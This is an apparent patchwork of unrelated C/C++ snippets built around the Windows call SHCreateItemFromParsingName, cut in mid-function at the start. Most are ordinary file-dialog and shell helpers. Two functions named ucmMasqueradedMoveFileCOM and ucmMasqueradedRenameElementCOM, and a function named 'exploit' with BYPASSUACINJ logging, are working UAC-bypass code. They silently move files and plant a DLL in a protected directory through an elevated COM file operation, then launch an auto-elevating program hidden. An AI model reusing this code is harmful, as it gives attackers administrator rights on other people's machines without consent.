CoTaskMemFree(pszPath); } CComPtr<IFileDialogCustomize> pfdCustomize; if (SUCCEEDED(pfd.QueryInterface(&pfdCustomize))) { pfdCustomize->GetCheckButtonState(101, &m_bCheck); pfdCustomize->GetCheckButtonState(102, &m_bCheck2); } return OK; }
void EnsureGamePath() { std::wstring fpath = MakeRelativeCitPath(L"CitizenFX.ini"); const wchar_t* pathKey = L"IVPath"; if (wcsstr(GetCommandLine(), L"cl2")) { pathKey = L"PathCL2"; } if (GetFileAttributes(fpath.c_str()) != INVALID_FILE_ATTRIBUTES) { wchar_t path[256]; GetPrivateProfileString(L"Game", pathKey, L"", path, _countof(path), fpath.c_str()); if (path[0] != L'\0') { return; } } ScopedCoInitialize coInit(COINIT_APARTMENTTHREADED); if (!coInit) { MessageBox(nullptr, va(L"CoInitializeEx failed. HRESULT = 0x%08x.", coInit.GetResult()), L"Error", MB_OK | MB_ICONERROR); ExitProcess(coInit.GetResult()); } WRL::ComPtr<IFileDialog> fileDialog; HRESULT hr = CoCreateInstance(CLSID_FileOpenDialog, NULL, CLSCTX_INPROC_SERVER, IID_IFileDialog, (void**)fileDialog.GetAddressOf()); if (FAILED(hr)) { MessageBox(nullptr, va(L"CoCreateInstance(IFileDialog) failed. HRESULT = 0x%08x.", hr), L"Error", MB_OK | MB_ICONERROR); ExitProcess(hr); } FILEOPENDIALOGOPTIONS opts; fileDialog->GetOptions(&opts); opts |= FOS_FORCEFILESYSTEM | FOS_PICKFOLDERS; fileDialog->SetOptions(opts); #ifndef GTA_FIVE fileDialog->SetTitle(L"Select the folder containing " GAME_EXECUTABLE); #else fileDialog->SetTitle(L"Select the folder containing Grand Theft Auto V"); // set the default folder, if we can find one { wchar_t gameRootBuf[1024]; DWORD gameRootLength = sizeof(gameRootBuf); // 5 is the amount of characters to strip off the end const std::tuple<std::wstring, std::wstring, int> folderAttempts[] = { { L"InstallFolderSteam", L"SOFTWARE\\WOW6432Node\\Rockstar Games\\GTAV", 5 }, { L"InstallFolder", L"SOFTWARE\\WOW6432Node\\Rockstar Games\\Grand Theft Auto V", 0 } }; for (const auto& folder : folderAttempts) { if (RegGetValue(HKEY_LOCAL_MACHINE, std::get<1>(folder).c_str(), std::get<0>(folder).c_str(), RRF_RT_REG_SZ, nullptr, gameRootBuf, &gameRootLength) == ERROR_SUCCESS) { WRL::ComPtr<IShellItem> item; std::wstring gameRoot(gameRootBuf); // strip \GTAV if needed gameRoot = gameRoot.substr(0, gameRoot.length() - std::get<int>(folder)); if (SUCCEEDED(SHCreateItemFromParsingName(gameRoot.c_str(), nullptr, IID_IShellItem, (void**)item.GetAddressOf()))) { auto checkFile = [&](const std::wstring& path) { return GetFileAttributesW((gameRoot + (L"\\" + path)).c_str()) != INVALID_FILE_ATTRIBUTES; }; fileDialog->SetFolder(item.Get()); if (checkFile(L"x64a.rpf") && checkFile(L"x64b.rpf") && checkFile(L"x64g.rpf") && checkFile(L"common.rpf") && checkFile(L"bink2w64.dll") && checkFile(L"x64\\audio\\audio_rel.rpf") && checkFile(L"GTA5.exe")) { WritePrivateProfileString(L"Game", pathKey, gameRoot.c_str(), fpath.c_str()); return; } } } } } #endif hr = fileDialog->Show(nullptr); if (FAILED(hr)) { if (hr != HRESULT_FROM_WIN32(ERROR_CANCELLED)) { MessageBox(nullptr, va(L"Could not show game folder selection window: IFileDialog::Show failed. HRESULT = 0x%08x.", hr), L"Error", MB_OK | MB_ICONERROR); } ExitProcess(0); } WRL::ComPtr<IShellItem> result; hr = fileDialog->GetResult(result.GetAddressOf()); if (!result) { MessageBox(nullptr, va(L"You did not select a game folder: IFileDialog::GetResult failed. HRESULT = 0x%08x.", hr), L"Error", MB_OK | MB_ICONERROR); ExitProcess(0); } PWSTR resultPath; if (FAILED(hr = result->GetDisplayName(SIGDN_FILESYSPATH, &resultPath))) { MessageBox(nullptr, va(L"Could not get game directory: IShellItem::GetDisplayName failed. HRESULT = 0x%08x.", hr), L"Error", MB_OK | MB_ICONERROR); ExitProcess(0); } // check if there's a game EXE in the path std::wstring gamePath = std::wstring(resultPath) + L"\\" GAME_EXECUTABLE; if (GetFileAttributes(gamePath.c_str()) == INVALID_FILE_ATTRIBUTES) { #if defined(GTA_NY) std::wstring eflcPath = std::wstring(resultPath) + L"\\EFLC.exe"; if (GetFileAttributes(eflcPath.c_str()) != INVALID_FILE_ATTRIBUTES) { MessageBox(nullptr, L"The selected path does not contain a GTAIV.exe file. As this is an EFLC installation, placing a GTAIV.exe (version 1.0.7.0) from any source will work as well.", PRODUCT_NAME, MB_OK | MB_ICONWARNING); } else #endif { MessageBox(nullptr, L"The selected path does not contain a " GAME_EXECUTABLE L" file.", PRODUCT_NAME, MB_OK | MB_ICONWARNING); } ExitProcess(0); } WritePrivateProfileString(L"Game", pathKey, resultPath, fpath.c_str()); CoTaskMemFree(resultPath); }
/* * ucmMasqueradedMoveFileCOM * * Purpose: * * Move file autoelevated. * */ BOOL ucmMasqueradedMoveFileCOM( LPWSTR SourceFileName, LPWSTR DestinationDir ) { BOOL cond = FALSE; IFileOperation *FileOperation1 = NULL; IShellItem *isrc = NULL, *idst = NULL; BIND_OPTS3 bop; SHELLEXECUTEINFOW shexec; HRESULT r = E_FAIL; do { if ((SourceFileName == NULL) || (DestinationDir == NULL)) break; RtlSecureZeroMemory(&bop, sizeof(bop)); RtlSecureZeroMemory(&shexec, sizeof(shexec)); r = CoCreateInstance(&CLSID_FileOperation, NULL, CLSCTX_INPROC_SERVER | CLSCTX_LOCAL_SERVER | CLSCTX_INPROC_HANDLER, &IID_IFileOperation, &FileOperation1); if (r != S_OK) { break; } if (FileOperation1 != NULL) { FileOperation1->lpVtbl->Release(FileOperation1); } bop.cbStruct = sizeof(bop); bop.dwClassContext = CLSCTX_INPROC_SERVER | CLSCTX_LOCAL_SERVER | CLSCTX_INPROC_HANDLER; r = CoGetObject(IFILEOP_ELEMONIKER, (BIND_OPTS *)&bop, &IID_IFileOperation, &FileOperation1); if (r != S_OK) { break; } if (FileOperation1 == NULL) { r = E_FAIL; break; } FileOperation1->lpVtbl->SetOperationFlags(FileOperation1, FOF_NOCONFIRMATION | FOF_SILENT | FOFX_SHOWELEVATIONPROMPT | FOFX_NOCOPYHOOKS | FOFX_REQUIREELEVATION); r = SHCreateItemFromParsingName(SourceFileName, NULL, &IID_IShellItem, &isrc); if (r != S_OK) { break; } r = SHCreateItemFromParsingName(DestinationDir, NULL, &IID_IShellItem, &idst); if (r != S_OK) { break; } r = FileOperation1->lpVtbl->MoveItem(FileOperation1, isrc, idst, NULL, NULL); if (r != S_OK) { break; } r = FileOperation1->lpVtbl->PerformOperations(FileOperation1); if (r != S_OK) { break; } idst->lpVtbl->Release(idst); idst = NULL; isrc->lpVtbl->Release(isrc); isrc = NULL; } while (cond); if (FileOperation1 != NULL) { FileOperation1->lpVtbl->Release(FileOperation1); } if (isrc != NULL) { isrc->lpVtbl->Release(isrc); } if (idst != NULL) { idst->lpVtbl->Release(idst); } return (SUCCEEDED(r)); }
void exploit(BypassUacPaths const * const paths) { const wchar_t *szElevArgs = L""; const wchar_t *szEIFOMoniker = NULL; PVOID OldValue = NULL; IFileOperation *pFileOp = NULL; IShellItem *pSHISource = 0; IShellItem *pSHIDestination = 0; IShellItem *pSHIDelete = 0; BOOL bComInitialised = FALSE; const IID *pIID_EIFO = &__uuidof(IFileOperation); const IID *pIID_EIFOClass = &__uuidof(FileOperation); const IID *pIID_ShellItem2 = &__uuidof(IShellItem2); dprintf("[BYPASSUACINJ] szElevDir = %S", paths->szElevDir); dprintf("[BYPASSUACINJ] szElevDirSysWow64 = %S", paths->szElevDirSysWow64); dprintf("[BYPASSUACINJ] szElevDll = %S", paths->szElevDll); dprintf("[BYPASSUACINJ] szElevDllFull = %S", paths->szElevDllFull); dprintf("[BYPASSUACINJ] szElevExeFull = %S", paths->szElevExeFull); dprintf("[BYPASSUACINJ] szDllTempPath = %S", paths->szDllTempPath); do { if (CoInitialize(NULL) != S_OK) { dprintf("[BYPASSUACINJ] Failed to initialize COM"); break; } bComInitialised = TRUE; if (CoCreateInstance(*pIID_EIFOClass, NULL, CLSCTX_LOCAL_SERVER | CLSCTX_INPROC_SERVER | CLSCTX_INPROC_HANDLER, *pIID_EIFO, (void**)&pFileOp) != S_OK) { dprintf("[BYPASSUACINJ] Couldn't create EIFO instance"); break; } if (pFileOp->SetOperationFlags(FOF_NOCONFIRMATION | FOF_NOERRORUI | FOF_SILENT | FOFX_SHOWELEVATIONPROMPT | FOFX_NOCOPYHOOKS | FOFX_REQUIREELEVATION) != S_OK) { dprintf("[BYPASSUACINJ] Couldn't Set operating flags on file op."); break; } if (SHCreateItemFromParsingName((PCWSTR)paths->szDllTempPath, NULL, *pIID_ShellItem2, (void**)&pSHISource) != S_OK) { dprintf("[BYPASSUACINJ] Unable to create item from name (source)"); break; } if (SHCreateItemFromParsingName(paths->szElevDir, NULL, *pIID_ShellItem2, (void**)&pSHIDestination) != S_OK) { dprintf("[BYPASSUACINJ] Unable to create item from name (destination)"); break; } if (pFileOp->CopyItem(pSHISource, pSHIDestination, paths->szElevDll, NULL) != S_OK) { dprintf("[BYPASSUACINJ] Unable to prepare copy op for elev dll"); break; } /* Copy the DLL file to the target folder*/ if (pFileOp->PerformOperations() != S_OK) { dprintf("[BYPASSUACINJ] Unable to copy elev dll"); break; } /* Execute the target binary */ SHELLEXECUTEINFOW shinfo; ZeroMemory(&shinfo, sizeof(shinfo)); shinfo.cbSize = sizeof(shinfo); shinfo.fMask = SEE_MASK_NOCLOSEPROCESS; shinfo.lpFile = paths->szElevExeFull; shinfo.lpParameters = szElevArgs; shinfo.lpDirectory = paths->szElevDir; shinfo.nShow = SW_HIDE; Wow64DisableWow64FsRedirection(&OldValue); if (ShellExecuteExW(&shinfo) && shinfo.hProcess != NULL) { WaitForSingleObject(shinfo.hProcess, 10000); CloseHandle(shinfo.hProcess); } if (S_OK != SHCreateItemFromParsingName(paths->szElevDllFull, NULL, *pIID_ShellItem2, (void**)&pSHIDelete) || NULL == pSHIDelete) { dprintf("[BYPASSUACINJ] Failed to create item from parsing name (delete)"); break; } if (S_OK != pFileOp->DeleteItem(pSHIDelete, NULL)) { dprintf("[BYPASSUACINJ] Failed to prepare op for delete"); break; } if (pFileOp->PerformOperations() == S_OK) { dprintf("[BYPASSUACINJ] Successfully deleted dll"); // bail out this point because we don't need to keep trying to delete break; } SAFERELEASE(pSHIDelete); // If we fail to delete the file probably SYSWOW64 process so use SYSNATIVE to get the correct path // DisableWOW64Redirect fails at this? Possibly due to how it interacts with UAC see: // http://msdn.microsoft.com/en-us/library/windows/desktop/aa384187(v=vs.85).aspx if (S_OK != SHCreateItemFromParsingName(paths->szElevDirSysWow64, NULL, *pIID_ShellItem2, (void**)&pSHIDelete) || NULL == pSHIDelete) { dprintf("[BYPASSUACINJ] Failed to create item from parsing name for delete (shellitem2)"); break; } if (S_OK != pFileOp->DeleteItem(pSHIDelete, NULL)) { dprintf("[BYPASSUACINJ] Failed to prepare op for delete (shellitem2)"); break; } if (pFileOp->PerformOperations() == S_OK) { dprintf("[BYPASSUACINJ] Successfully deleted DLL in target directory from SYSWOW64 process"); } else { dprintf("[BYPASSUACINJ] Failed to delete target DLL"); } } while (0); SAFERELEASE(pSHIDelete); SAFERELEASE(pSHIDestination); SAFERELEASE(pSHISource); SAFERELEASE(pFileOp); if (bComInitialised) { CoUninitialize(); } }
void AttachmentViewer::PrepareAttachments(){ if ( initialized == true ){ if ( fileWatchController != NULL ){ fileWatchController->pause = TRUE; //Needs work but this is to prevent me from getting into an infinite loop } Document doc = db.getDocument(_id, _rev); wchar_t tempdir[MAX_PATH]; GetTempPath(MAX_PATH, tempdir); StringCchCat(tempdir, MAX_PATH, L"cinch\\"); CreateDirectory(tempdir, NULL); StringCchCat(tempdir, MAX_PATH, s2ws(_id).c_str()); CreateDirectory(tempdir, NULL); string dir = ws2s(tempdir); string idfile = dir + "\\.id"; string revfile = dir + "\\.rev"; SetFileAttributes(s2ws(idfile).c_str(), FILE_ATTRIBUTE_NORMAL); SetFileAttributes(s2ws(revfile).c_str(), FILE_ATTRIBUTE_NORMAL); FILE* f; errno_t err = fopen_s(&f, idfile.c_str(), "w"); if (err == 0 ){ fwrite(_id.c_str(), sizeof(char), _id.length(), f); fclose(f); } err = fopen_s(&f, revfile.c_str(), "w"); if ( err == 0 ){ fwrite(_rev.c_str(), sizeof(char), _rev.length(), f); fclose(f); } SetFileAttributes(s2ws(idfile).c_str(), FILE_ATTRIBUTE_HIDDEN); SetFileAttributes(s2ws(revfile).c_str(), FILE_ATTRIBUTE_HIDDEN); try { vector<Attachment> attachments = doc.getAllAttachments(); for(unsigned i=0; i<attachments.size(); i++){ Attachment a = attachments[i]; a.saveToDirectory(dir); } }catch(Exception e){ } IShellItem *psi; HRESULT hr = SHCreateItemFromParsingName(tempdir, 0, IID_PPV_ARGS(&psi)); if (SUCCEEDED(hr)){ HRESULT hr = _peb->BrowseToObject(psi, EBF_NONE); } if ( fileWatchController != NULL ){ fileWatchController->pause = FALSE; } WatchDirectory(s2ws(dir).c_str()); } }
HRESULT AFX_GLOBAL_DATA::ShellCreateItemFromParsingName(PCWSTR pszPath, IBindCtx *pbc, REFIID riid, void **ppv) { return SHCreateItemFromParsingName(pszPath, pbc, riid, ppv); }
/* * ucmMasqueradedRenameElementCOM * * Purpose: * * Rename file/directory autoelevated. * */ BOOL ucmMasqueradedRenameElementCOM( LPWSTR OldName, LPWSTR NewName ) { BOOL bCond = FALSE, bResult = FALSE; IFileOperation *FileOperation1 = NULL; BIND_OPTS3 bop; IShellItem *psiDestDir = NULL; HRESULT r = E_FAIL; do { if ((OldName == NULL) || (NewName == NULL)) break; r = CoCreateInstance(&CLSID_FileOperation, NULL, CLSCTX_INPROC_SERVER | CLSCTX_LOCAL_SERVER | CLSCTX_INPROC_HANDLER, &IID_IFileOperation, &FileOperation1); if (r != S_OK) { break; } if (FileOperation1 != NULL) { FileOperation1->lpVtbl->Release(FileOperation1); } RtlSecureZeroMemory(&bop, sizeof(bop)); bop.cbStruct = sizeof(bop); bop.dwClassContext = CLSCTX_INPROC_SERVER | CLSCTX_LOCAL_SERVER | CLSCTX_INPROC_HANDLER; r = CoGetObject(IFILEOP_ELEMONIKER, (BIND_OPTS *)&bop, &IID_IFileOperation, &FileOperation1); if (r != S_OK) { break; } if (FileOperation1 == NULL) { r = E_FAIL; break; } FileOperation1->lpVtbl->SetOperationFlags(FileOperation1, FOF_NOCONFIRMATION | FOF_SILENT | FOFX_SHOWELEVATIONPROMPT | FOFX_NOCOPYHOOKS | FOFX_REQUIREELEVATION); r = SHCreateItemFromParsingName(OldName, NULL, &IID_IShellItem, &psiDestDir); if (r != S_OK) { break; } r = FileOperation1->lpVtbl->RenameItem(FileOperation1, psiDestDir, NewName, NULL); if (r != S_OK) { break; } r = FileOperation1->lpVtbl->PerformOperations(FileOperation1); if (r != S_OK) { break; } psiDestDir->lpVtbl->Release(psiDestDir); psiDestDir = NULL; bResult = TRUE; } while (bCond); if (FileOperation1 != NULL) { FileOperation1->lpVtbl->Release(FileOperation1); } if (psiDestDir != NULL) { psiDestDir->lpVtbl->Release(psiDestDir); } return bResult; }
bool CCommonAppUtils::FileOpenSave(CString& path, int * filterindex, UINT title, UINT filterId, bool bOpen, const CString& initialDir, HWND hwndOwner) { HRESULT hr; // Create a new common save file dialog CComPtr<IFileDialog> pfd = NULL; hr = pfd.CoCreateInstance(bOpen ? CLSID_FileOpenDialog : CLSID_FileSaveDialog, NULL, CLSCTX_INPROC_SERVER); if (SUCCEEDED(hr)) { // Set the dialog options DWORD dwOptions; if (SUCCEEDED(hr = pfd->GetOptions(&dwOptions))) { if (bOpen) hr = pfd->SetOptions(dwOptions | FOS_FILEMUSTEXIST | FOS_FORCEFILESYSTEM | FOS_PATHMUSTEXIST); else { hr = pfd->SetOptions(dwOptions | FOS_OVERWRITEPROMPT | FOS_FORCEFILESYSTEM | FOS_PATHMUSTEXIST); hr = pfd->SetFileName(CPathUtils::GetFileNameFromPath(path)); } } // Set a title if (SUCCEEDED(hr) && title) { CString temp; temp.LoadString(title); CStringUtils::RemoveAccelerators(temp); pfd->SetTitle(temp); } if (filterId) { CSelectFileFilter fileFilter(filterId); hr = pfd->SetFileTypes(fileFilter.GetCount(), fileFilter); } // set the default folder CComPtr<IShellItem> psiFolder; if (!initialDir.IsEmpty()) { hr = SHCreateItemFromParsingName(initialDir, NULL, IID_PPV_ARGS(&psiFolder)); if (SUCCEEDED(hr)) pfd->SetFolder(psiFolder); hr = S_OK; } // Show the save/open file dialog if (SUCCEEDED(hr) && SUCCEEDED(hr = pfd->Show(hwndOwner))) { // Get the selection from the user CComPtr<IShellItem> psiResult = NULL; hr = pfd->GetResult(&psiResult); if (SUCCEEDED(hr)) { PWSTR pszPath = NULL; hr = psiResult->GetDisplayName(SIGDN_FILESYSPATH, &pszPath); if (SUCCEEDED(hr)) { path = CString(pszPath); if (filterindex) { UINT fi = 0; pfd->GetFileTypeIndex(&fi); *filterindex = fi; } return true; } } } } else { OPENFILENAME ofn = {0}; // common dialog box structure TCHAR szFile[MAX_PATH] = {0}; // buffer for file name. Explorer can't handle paths longer than MAX_PATH. ofn.lStructSize = sizeof(OPENFILENAME); ofn.hwndOwner = hwndOwner; wcscpy_s(szFile, (LPCTSTR)path); ofn.lpstrFile = szFile; ofn.nMaxFile = _countof(szFile); CSelectFileFilter fileFilter; if (filterId) { fileFilter.Load(filterId); ofn.lpstrFilter = fileFilter; } ofn.nFilterIndex = 1; ofn.lpstrFileTitle = NULL; ofn.nMaxFileTitle = 0; ofn.lpstrInitialDir = NULL; if (!initialDir.IsEmpty()) ofn.lpstrInitialDir = initialDir; CString temp; if (title) { temp.LoadString(title); CStringUtils::RemoveAccelerators(temp); } ofn.lpstrTitle = temp; if (bOpen) ofn.Flags = OFN_PATHMUSTEXIST | OFN_FILEMUSTEXIST | OFN_HIDEREADONLY | OFN_EXPLORER; else ofn.Flags = OFN_OVERWRITEPROMPT | OFN_EXPLORER; // Display the Open dialog box. PreserveChdir preserveDir; bool bRet = false; if (bOpen) { bRet = !!GetOpenFileName(&ofn); } else { bRet = !!GetSaveFileName(&ofn); } if (bRet) { path = CString(ofn.lpstrFile); if (filterindex) *filterindex = ofn.nFilterIndex; return true; } } return false; }
std::vector<ComPtr<IShellItem>> get_shell_items(IDataObject* object) { auto format = FORMATETC{CF_HDROP, nullptr, DVASPECT_CONTENT, -1, TYMED_HGLOBAL}; STGMEDIUM stgm; if (FAILED(object->GetData(&format, &stgm))) return {}; auto hdrop = reinterpret_cast<HDROP>(stgm.hGlobal); auto n_paths = DragQueryFile(hdrop, 0xffffffff, nullptr, 0); std::vector<ComPtr<IShellItem>> items; for (UINT i = 0; i < n_paths; i++) { auto buffer_size = er = DragQueryFile(hdrop, i, nullptr, 0); std::vector<wchar_t> buffer(buffer_size + 1); buffer[buffer_size] = L'\0'; er = DragQueryFile(hdrop, i, buffer.data(), numeric_cast<UINT>(buffer.size())); ComPtr<IShellItem> si; er = SHCreateItemFromParsingName( buffer.data(), nullptr, IID_IShellItem, reinterpret_cast<void**>(&si)); items.push_back(si); } ReleaseStgMedium(&stgm); return items; }
CBrowseFolder::retVal CBrowseFolder::Show(HWND parent, CString& path, const CString& sDefaultPath /* = CString() */) { retVal ret = OK; //assume OK m_sDefaultPath = sDefaultPath; if (m_sDefaultPath.IsEmpty() && !path.IsEmpty()) { while (!PathFileExists(path) && !path.IsEmpty()) { CString p = path.Left(path.ReverseFind('\\')); if ((p.GetLength() == 2)&&(p[1] == ':')) { p += L"\\"; if (p.Compare(path) == 0) p.Empty(); } if (p.GetLength() < 2) p.Empty(); path = p; } // if the result path already contains a path, use that as the default path m_sDefaultPath = path; } HRESULT hr; // Create a new common open file dialog IFileOpenDialog* pfd = NULL; hr = CoCreateInstance(CLSID_FileOpenDialog, NULL, CLSCTX_INPROC_SERVER, IID_PPV_ARGS(&pfd)); if (SUCCEEDED(hr)) { // Set the dialog as a folder picker DWORD dwOptions; if (SUCCEEDED(hr = pfd->GetOptions(&dwOptions))) { hr = pfd->SetOptions(dwOptions | FOS_PICKFOLDERS | FOS_FORCEFILESYSTEM | FOS_PATHMUSTEXIST); } // Set a title if (SUCCEEDED(hr)) { TCHAR * nl = wcschr(m_title, '\n'); if (nl) *nl = 0; pfd->SetTitle(m_title); } // set the default folder if (SUCCEEDED(hr)) { IShellItem *psiDefault = 0; hr = SHCreateItemFromParsingName(m_sDefaultPath, NULL, IID_PPV_ARGS(&psiDefault)); if (SUCCEEDED(hr)) { hr = pfd->SetFolder(psiDefault); psiDefault->Release(); } } if (m_CheckText[0] != 0) { IFileDialogCustomize* pfdCustomize = 0; hr = pfd->QueryInterface(IID_PPV_ARGS(&pfdCustomize)); if (SUCCEEDED(hr)) { pfdCustomize->StartVisualGroup(100, L""); pfdCustomize->AddCheckButton(101, m_CheckText, FALSE); if (m_CheckText2[0] != 0) { pfdCustomize->AddCheckButton(102, m_CheckText2, FALSE); } pfdCustomize->EndVisualGroup(); pfdCustomize->Release(); } } // Show the open file dialog if (SUCCEEDED(hr) && SUCCEEDED(hr = pfd->Show(parent))) { // Get the selection from the user IShellItem* psiResult = NULL; hr = pfd->GetResult(&psiResult); if (SUCCEEDED(hr)) { PWSTR pszPath = NULL; hr = psiResult->GetDisplayName(SIGDN_FILESYSPATH, &pszPath); if (SUCCEEDED(hr)) { path = pszPath; CoTaskMemFree(pszPath); } psiResult->Release(); IFileDialogCustomize* pfdCustomize = 0; hr = pfd->QueryInterface(IID_PPV_ARGS(&pfdCustomize)); if (SUCCEEDED(hr)) { pfdCustomize->GetCheckButtonState(101, &m_bCheck); pfdCustomize->GetCheckButtonState(102, &m_bCheck2); pfdCustomize->Release(); } } else ret = CANCEL; } else ret = CANCEL; pfd->Release(); } else { BROWSEINFO browseInfo = {}; browseInfo.hwndOwner = parent; browseInfo.pidlRoot = m_root; browseInfo.pszDisplayName = m_displayName; browseInfo.lpszTitle = m_title; browseInfo.ulFlags = m_style; browseInfo.lParam = (LPARAM)this; browseInfo.lpfn = BrowseCallBackProc; PCIDLIST_ABSOLUTE itemIDList = SHBrowseForFolder(&browseInfo); //is the dialog canceled? if (!itemIDList) ret = CANCEL; if (ret != CANCEL) { if (!SHGetPathFromIDList(itemIDList, path.GetBuffer(MAX_PATH))) // MAX_PATH ok. Explorer can't handle paths longer than MAX_PATH. ret = NOPATH; path.ReleaseBuffer(); CoTaskMemFree((LPVOID)itemIDList); } } return ret; }